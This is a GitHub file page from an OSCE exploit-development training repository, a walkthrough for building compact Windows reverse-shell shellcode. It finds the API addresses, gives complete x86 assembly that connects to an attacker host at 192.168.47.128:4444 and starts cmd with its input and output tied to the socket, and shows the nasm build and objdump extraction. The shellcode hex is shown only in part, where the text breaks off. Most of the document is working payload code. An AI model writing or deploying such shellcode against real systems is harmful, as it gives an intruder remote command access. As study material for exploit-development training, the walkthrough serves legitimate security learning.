forked from e-a-security/Exploit-Dev-OSCE
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSmallReverseShell
More file actions
262 lines (211 loc) · 8.09 KB
/
SmallReverseShell
File metadata and controls
262 lines (211 loc) · 8.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
We can use https://github.com/h0mbre/CTP-OSCE/tree/master/TinyRev to update all of this
We have a few required functions to normally get a reverse shell working in Windows. They are:
LoadLibraryA - this is used to load the winsock DLL ws2_32.dll
WSAStartup - this intializes the use of the winsock DLL in the process, has to be done before any sockets can be created.
WSASocketA - this is used to create the socket.
connect - this uses the created socket and establishes a connection.
CreateProcessA - this is used to create a cmd process and redirect stdin, stdout, and stderr
ExitProcess - fairly obvious what this does. However you really don’t need this.
Our target process will have already loaded the winsock DLL and also initialized it, due to the fact that it’s using sockets and binding to a port to provide its functions.
This means we only need to concern ourselves with WSASocketA, connect, and CreateProcessA.
We’ll need to get the addresses where these functions live to get started.
- CreateProcessA lives in kernel32.dll
- WSASocketA
- connect live in the ws2_32.dll (winsock).
To grab these addresses we’ll use arwin on our Windows 10 box.
PS C:\Users\admin\Desktop\arwin> .\arwin.exe kernel32 CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x74f36630 in kernel32
PS C:\Users\admin\Desktop\arwin> .\arwin.exe ws2_32 WSASocketA
arwin - win32 address resolution program - by steve hanna - v.01
WSASocketA is located at 0x754e9730 in ws2_32
PS C:\Users\admin\Desktop\arwin> .\arwin.exe ws2_32 connect
arwin - win32 address resolution program - by steve hanna - v.01
connect is located at 0x754e5ee0 in ws2_32
Now to write assembly:
- First up is WSASocketA. If we reference Microsoft’s documentation here we can see that WSASocketA has a syntax as follows.
WINSOCK_API_LINKAGE SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
Here is what is should look like with the correct parameters filled in.
WINSOCK_API_LINKAGE SOCKET WSAAPI WSASocketA(
int af - 2, AF_INET (IPv4)
int type - 1, SOCK_STREAM (TCP)
int protocol - 6, IPPROTO_TCP (TCP)
LPWSAPROTOCOL_INFOA lpProtocolInfo - NULL,
GROUP g - 0, No group operation
DWORD dwFlags - 0 No flags
);
We’ll need to push these values in reverse to the stack, and then MOV the address of WSASocketA into a register and CALL it. Finally we’ll need to stow away our created socket (which will be returned into EAX) in another register for later use.
xor eax, eax ; clear EAX
push eax ; dwFlags - 0
push eax ; Group - 0
push eax ; ProtocolInfo - NULL
xor ebx, ebx ; clear EBX
mov bl, 6
push ebx ; Protocol - IPPROTO_TCP = 6
inc eax
push eax ; Type - SOCK_STREAM = 1
inc eax
push eax ; Family - AF_INET = 2
mov ebx, 0x754e9730 ; WSASocketA - Win10 1803
xor eax, eax
call ebx
xchg eax, esi ; save socket into ESI
Next up is connect. Once again we’ll reference Microsoft’s documentation here.
The structure for calling connect is as follows:
Again we’ll be push our parameters in reverse, starting with creating a pointer to our our IP address and port.
To figure out the address in hex you can simply break each octect down, reverse the order of the octects and convert to hex. ie:
Example:
192.168.47.128
128 = 80, 47 = 2f, 168 = a8, 192 = c0. Thus we’ll push 802fa8c0.
Same concept for the port. 4444 = 115c, reverse to 5c11.
push 0x802fa8c0 ; 192.168.47.128
push word 0x5c11 ; port 4444
xor ebx, ebx
add bl, 2
push word bx
mov edx, esp ; pointer for SockAddr
push byte 16 ; AddrLen - 16
push edx ; pSockAddr
push esi ; saved socket
mov ebx, 0x754e5ee0 ; connect - Win10 1803
call ebx
Finally is CreateProcessA, and boy is it a doozy. Let’s see what Microsoft has to say about it’s structure.
Along with this we also need to provide a pointer for StartupInfo which it’s structure is defined here.
So as you can see we have our work cut out for us here. Luckily a lot of these values are NULL for our purposes. Here’s what CreateProcessA should look like.
Let’s go ahead and setup our pointer to “cmd”
mov edx, 0x646d6363 ; cmdd
shr edx, 8 ; cmd
push edx
mov ecx, esp ; pointer to "cmd"
We also need a pointer for ProcessInformation, however we can literally just point this to garbage on the stack.
xor edx, edx
sub esp, 16
mov ebx, esp ; pointer for ProcessInfo (points to garbage)
Now we’ll need to create the ridiculous StartUpInfo pointer to reflect the following:
push esi ; hStdError - saved socket
push esi ; hStdOutput - saved socket
push esi ; hStdInput -saved socket
push edx ; pReserved2 - NULL
push edx ; cbReserved2 -NULL
xor eax, eax
inc eax
rol eax, 8
push eax ; dwFlags - STARTF_USESTDHANDLES 0x00000100
push edx ; dwFillAttribute - NULL
push edx ; dwYCountChars - NULL
push edx ; dwXCountChars - NULL
push edx ; dwYSize - NULL
push edx ; dwXSize - NULL
push edx ; dwY - NULL
push edx ; dwX - NULL
push edx ; pTitle - NULL
push edx ; pDesktop - NULL
push edx ; pReserved - NULL
xor eax, eax
add al, 44
push eax ; cb - size of structure
mov eax, esp ; pStartupInfo
Now we are finally ready to call CreateProcessA.
push ebx ; pProcessInfo
push eax ; pStartupInfo
push edx ; CurrentDirectory - NULL
push edx ; pEnvironment - NULL
push edx ; CreationFlags - 0
xor eax, eax
inc eax
push eax ; InheritHandles -TRUE - 1
push edx ; pThreadAttributes -NULL
push edx ; pProcessAttributes - NULL
push ecx ; pCommandLine - pointer to "cmd"
push edx ; ApplicationName – NULL
mov ebx, 0x74f36630 ; CreateProcessA - Win10 1803
call ebx
Final Assembly Code
global _start
section .text
_start:
; Create the socket with WSASocketA()
xor eax, eax
push eax ; Flags - 0
push eax ; Group - 0
push eax ; pWSAprotocol - NULL
xor ebx, ebx
mov bl, 6
push ebx ; Protocol - IPPROTO_TCP = 6
inc eax
push eax ; Type - SOCK_STREAM = 1
inc eax
push eax ; Family - AF_INET = 2
mov ebx, 0x754e9730 ; WSASocketA - Win10 1803
xor eax, eax
call ebx
xchg eax, esi ; save socket into ESI
; connect() to attacking machine
push 0x802fa8c0 ; 192.168.47.128
push word 0x5c11 ; port 4444
xor ebx, ebx
add bl, 2
push word bx
mov edx, esp ; pointer for SockAddr
push byte 16 ; AddrLen - 16
push edx ; pSockAddr
push esi ; saved socket
mov ebx, 0x754e5ee0 ; connect - Win10 1803
call ebx
; CreateProcessA()
mov edx, 0x646d6363 ; cmdd
shr edx, 8 ; cmd
push edx
mov ecx, esp ; pointer to "cmd"
xor edx, edx
sub esp, 16
mov ebx, esp ; pointer for ProcessInfo (points to garbage)
push esi ; hStdError - saved socket
push esi ; hStdOutput - saved socket
push esi ; hStdInput -saved socket
push edx ; pReserved2 - NULL
push edx ; cbReserved2 -NULL
xor eax, eax
inc eax
rol eax, 8
push eax ; dwFlags - STARTF_USESTDHANDLES 0x00000100
push edx ; dwFillAttribute - NULL
push edx ; dwYCountChars - NULL
push edx ; dwXCountChars - NULL
push edx ; dwYSize - NULL
push edx ; dwXSize - NULL
push edx ; dwY - NULL
push edx ; dwX - NULL
push edx ; pTitle - NULL
push edx ; pDesktop - NULL
push edx ; pReserved - NULL
xor eax, eax
add al, 44
push eax ; cb - size of structure
mov eax, esp ; pStartupInfo
push ebx ; pProcessInfo
push eax ; pStartupInfo
push edx ; CurrentDirectory - NULL
push edx ; pEnvironment - NULL
push edx ; CreationFlags - 0
xor eax, eax
inc eax
push eax ; InheritHandles -TRUE - 1
push edx ; pThreadAttributes -NULL
push edx ; pProcessAttributes - NULL
push ecx ; pCommandLine - pointer to "cmd"
push edx ; ApplicationName - NULL
mov ebx, 0x74f36630 ; CreateProcessA - Win10 1803
call ebx
No we’ll compile with nasm and extract our shellcode out.
root@kali:~# nasm -f elf32 -o revshell.o revshell.nasm
root@kali:~# ld -o revshell revshell.o
root@kali:~# for i in $(objdump -d win10revshell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x30\x97\x4e\x75\x31\xc0\xff\xd3\x96\x68\